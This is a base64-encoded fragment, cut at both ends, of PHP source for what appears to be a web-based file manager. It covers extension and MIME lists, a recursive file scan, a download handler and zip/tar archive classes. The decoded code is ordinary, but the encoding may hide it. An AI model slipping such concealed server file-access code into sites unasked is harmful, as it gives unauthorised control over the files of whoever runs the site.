AnY29uZmlnJyxcbiAgICAgICAgJ3BocCcsXG4gICAgICAgICdwaHA0JyxcbiAgICAgICAgJ3BocDUnLFxuICAgICAgICAncGhwcycsXG4gICAgICAgICdwaHRtbCcsXG4gICAgICAgICdodG0nLFxuICAgICAgICAnaHRtbCcsXG4gICAgICAgICdzaHRtbCcsXG4gICAgICAgICd4aHRtbCcsXG4gICAgICAgICd4bWwnLFxuICAgICAgICAneHNsJyxcbiAgICAgICAgJ20zdScsXG4gICAgICAgICdtM3U4JyxcbiAgICAgICAgJ3BscycsXG4gICAgICAgICdjdWUnLFxuICAgICAgICAnYmFzaCcsXG4gICAgICAgICd2dWUnLFxuICAgICAgICAnZW1sJyxcbiAgICAgICAgJ21zZycsXG4gICAgICAgICdjc3YnLFxuICAgICAgICAnYmF0JyxcbiAgICAgICAgJ3R3aWcnLFxuICAgICAgICAndHBsJyxcbiAgICAgICAgJ21kJyxcbiAgICAgICAgJ2dpdGlnbm9yZScsXG4gICAgICAgICdsZXNzJyxcbiAgICAgICAgJ3Nhc3MnLFxuICAgICAgICAnc2NzcycsXG4gICAgICAgICdjJyxcbiAgICAgICAgJ2NwcCcsXG4gICAgICAgICdjcycsXG4gICAgICAgICdweScsXG4gICAgICAgICdnbycsXG4gICAgICAgICd6c2gnLFxuICAgICAgICAnc3dpZnQnLFxuICAgICAgICAnbWFwJyxcbiAgICAgICAgJ2xvY2snLFxuICAgICAgICAnZHRkJyxcbiAgICAgICAgJ3N2ZycsXG4gICAgICAgICdhc3AnLFxuICAgICAgICAnYXNweCcsXG4gICAgICAgICdhc3gnLFxuICAgICAgICAnYXNteCcsXG4gICAgICAgICdhc2h4JyxcbiAgICAgICAgJ2pzcCcsXG4gICAgICAgICdqc3B4JyxcbiAgICAgICAgJ2NnaScsXG4gICAgICAgICdkb2NrZXJmaWxlJyxcbiAgICAgICAgJ3J1YnknLFxuICAgICAgICAneW1sJyxcbiAgICAgICAgJ3lhbWwnLFxuICAgICAgICAndG9tbCcsXG4gICAgICAgICd2aG9zdCcsXG4gICAgICAgICdzY3B0JyxcbiAgICAgICAgJ2FwcGxlc2NyaXB0JyxcbiAgICAgICAgJ2NzeCcsXG4gICAgICAgICdjc2h0bWwnLFxuICAgICAgICAnYysrJyxcbiAgICAgICAgJ2NvZmZlZScsXG4gICAgICAgICdjZm0nLFxuICAgICAgICAncmInLFxuICAgICAgICAnZ3JhcGhxbCcsXG4gICAgICAgICdtdXN0YWNoZScsXG4gICAgICAgICdqaW5qYScsXG4gICAgICAgICdodHRwJyxcbiAgICAgICAgJ2hhbmRsZWJhcnMnLFxuICAgICAgICAnamF2YScsXG4gICAgICAgICdlcycsXG4gICAgICAgICdlczYnLFxuICAgICAgICAnbWFya2Rvd24nLFxuICAgICAgICAnd2lraScsXG4gICAgICAgICd0bXAnLFxuICAgICAgICAndG9wJyxcbiAgICAgICAgJ2JvdCcsXG4gICAgICAgICdkYXQnLFxuICAgICAgICAnYmFrJyxcbiAgICAgICAgJ2h0cGFzc3dkJyxcbiAgICAgICAgJ3BsJyxcbiAgICAgICAgJ3BzMSdcbiAgICApO1xufVxuXG5cLyoqXG4gKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9taW1lcygpXG57XG4gICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAnYXBwbGljYXRpb25cL3htbCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwvamF2YXNjcmlwdCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcbiAgICAgICAgJ2ltYWdlXC9zdmcreG1sJyxcbiAgICAgICAgJ21lc3NhZ2VcL3JmYzgyMicsXG4gICAgICAgICdhcHBsaWNhdGlvblwvanNvbicsXG4gICAgKTtcbn1cblxuXC8qKlxuICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3XC9vIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICdsaWNlbnNlJyxcbiAgICAgICAgJ3JlYWRtZScsXG4gICAgICAgICdhdXRob3JzJyxcbiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsXG4gICAgICAgICdjaGFuZ2Vsb2cnLFxuICAgICk7XG59XG5cblwvKipcbiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTtcbn1cblxuXC8qKlxuICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLlxuICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLlxuICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10gVGhlIG1pbWUgdHlwZSBvZiB0aGUgZmlsZS5cbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pXG57XG4gICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb25cL3gtc2hvY2t3YXZlLWZsYXNoJztcbiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvblwvcGRmJztcbiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvblwvb2N0ZXQtc3RyZWFtJztcbiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvblwvemlwJztcbiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvblwvbXN3b3JkJztcbiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsJztcbiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLXBvd2VycG9pbnQnO1xuICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlXC9naWYnO1xuICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlXC9wbmcnO1xuICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWyd3ZWJwJ10gPSAnaW1hZ2VcL3dlYnAnO1xuICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZVwvYXZpZic7XG4gICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb25cL3Jhcic7XG5cbiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvXC94LXBuLXJlYWxhdWRpbyc7XG4gICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW9cL3gtcG4tcmVhbGF1ZGlvJztcbiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpb1wveC1wbi1yZWFsYXVkaW8nO1xuXG4gICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvXC94LW1zdmlkZW8nO1xuXG4gICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ3ZpZGVvXC9tcDQnO1xuICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlb1wvbXBlZyc7XG4gICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvXC9tcGVnJztcbiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcblxuICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvblwveC1waHAnXTtcbiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHRcL2h0bWwnXTtcbiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dFwvcGxhaW4nXTtcbiAgICBpZiAoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHtcbiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbSddO1xuICAgIH1cbiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTtcbn1cblxuXC8qKlxuICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlc1xuICogQHBhcmFtIHN0cmluZyAkZGlyXG4gKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXJcbiAqIEByZXR1cm4gYXJyYXl8bnVsbFxuICpcL1xuZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJylcbntcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkZGlyO1xuICAgIGlmICgkcGF0aCkge1xuICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7XG4gICAgICAgICRyaWkgPSBuZXcgUmVnZXhJdGVyYXRvcigkaXRlLCBcIlwvKFwiIC4gJGZpbHRlciAuIFwiKVwvaVwiKTtcblxuICAgICAgICAkZmlsZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7XG4gICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7XG4gICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7XG4gICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGZpbGVOYW1lLFxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZpbGVcIixcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJGxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICRmaWxlcztcbiAgICB9XG59XG5cblwvKipcbiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsXG4gKiBtYXggc3BlZWQsIGlzIHN0cmVhbWluZ1xuICogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXNcbiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0XG4gKiBodHRwczpcL1wvc3RhY2tvdmVyZmxvdy5jb21cL2FcLzEzODIxOTkyXC8xMTY0NjQyXG4gKlwvXG5mdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KVxue1xuICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApXG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7XG5cbiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTtcblxuICAgIGlmIChpc19hcnJheSgkY29udGVudFR5cGUpKSB7XG4gICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpO1xuICAgIH1cblxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7XG5cbiAgICBpZiAoJHNpemUgPT0gMCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcblxuICAgICAgICByZXR1cm4gKGZhbHNlKTtcbiAgICB9XG5cbiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTtcbiAgICAkZnAgPSBmb3BlbihcIiRmaWxlTG9jYXRpb25cIiwgXCJyYlwiKTtcblxuICAgIGlmICgkZnAgPT09IGZhbHNlKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgIH1cbiAgICBcbiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTtcbiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcbiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpO1xuICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTtcbiAgICBoZWFkZXIoXCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcIik7XG4gICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGVcIik7XG5cbiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnO1xuXG4gICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIFwiTVNJRVwiKSkge1xuICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJ1wvXFwuXC8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7XG4gICAgICAgIGhlYWRlcihcIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XFxcIiRmaWxlTmFtZVxcXCJcIik7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cXFwiJGZpbGVOYW1lXFxcIlwiKTtcbiAgICB9XG5cbiAgICBoZWFkZXIoXCJBY2NlcHQtUmFuZ2VzOiBieXRlc1wiKTtcbiAgICAkcmFuZ2UgPSAwO1xuXG4gICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7XG4gICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKFwiPVwiLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTtcbiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCBcIi1cIiwgJHJhbmdlKTtcbiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxO1xuICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlO1xuICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTJcLyRzaXplXCIpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgICRzaXplMiA9ICRzaXplIC0gMTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTJcLyRzaXplXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiAkc2l6ZSk7XG4gICAgfVxuICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTtcbiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpO1xuICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pO1xuXG4gICAgZmNsb3NlKCRmcCk7XG5cbiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpO1xufVxuXG5cLyoqXG4gKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKVxuICpcL1xuY2xhc3MgRk1fWmlwcGVyXG57XG4gICAgcHJpdmF0ZSAkemlwO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7XG4gICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkge1xuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcbiAgICB7XG4gICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcbiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XG4gICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkge1xuICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxuICAgIHtcbiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykge1xuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuXC8qKlxuICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpXG4gKlwvXG5jbGFzcyBGTV9aaXBwZXJfVGFyXG57XG4gICAgcHJpdmF0ZSAkdGFyO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT50YXIgPSBudWxsO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkdGhpcy0+dGFyID0gbmV3IFBoYXJEYXRhKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUylcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAgICAgKiBAcmV0dXJuIGJvb2xcbiAgICAgKlwvXG4gICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpO1xuICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgJHR